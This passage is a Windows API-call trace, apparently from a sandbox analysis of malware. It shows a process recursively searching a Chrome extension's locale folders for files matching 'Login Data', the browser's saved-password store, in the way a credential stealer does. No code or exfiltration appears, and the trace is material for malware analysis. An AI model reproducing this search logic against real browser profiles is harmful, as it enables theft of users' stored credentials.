Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.582] lstrlenA (lpString="hu") returned 2 [0056.582] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.582] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0056.582] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned 131 [0056.582] lstrlenA (lpString="\\*.*") returned 4 [0056.582] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.582] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*" [0056.582] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.582] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.582] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.582] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.582] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.582] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.582] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.582] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.582] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.582] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.582] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.582] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.582] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.582] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.582] lstrlenA (lpString="\\") returned 1 [0056.582] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.582] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.582] lstrlenA (lpString="id") returned 2 [0056.582] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.582] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0056.582] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0056.582] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned 131 [0056.582] lstrlenA (lpString="\\*.*") returned 4 [0056.582] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.582] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id" [0056.582] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*" [0056.582] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.583] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.583] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.583] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.583] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.583] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.583] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.583] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.583] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.583] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.583] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.583] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.583] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.583] lstrlenA (lpString="\\") returned 1 [0056.583] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.583] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.583] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.583] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.583] lstrlenA (lpString="it") returned 2 [0056.583] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.583] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.583] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0056.583] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.583] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 131 [0056.583] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned 131 [0056.583] lstrlenA (lpString="\\*.*") returned 4 [0056.583] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.583] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it" [0056.583] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*" [0056.583] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.583] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.583] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.583] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.583] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.583] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.583] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.584] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.584] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.584] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.584] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.584] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.584] lstrlenA (lpString="\\") returned 1 [0056.584] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.584] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.584] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.584] lstrlenA (lpString="ja") returned 2 [0056.584] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.584] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.584] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0056.584] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 131 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned 131 [0056.584] lstrlenA (lpString="\\*.*") returned 4 [0056.584] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.584] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja" [0056.584] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*" [0056.584] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.584] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.584] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.584] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.584] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.584] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 1 [0056.584] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.584] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0 [0056.584] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.584] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.584] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.584] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f0c0 | out: lpFindFileData=0x21f0c0) returned 1 [0056.584] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.584] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned 128 [0056.584] lstrlenA (lpString="\\") returned 1 [0056.584] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2dc2e8 [0056.584] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0056.584] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.584] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned 129 [0056.584] lstrlenA (lpString="ko") returned 2 [0056.584] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.584] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0056.584] 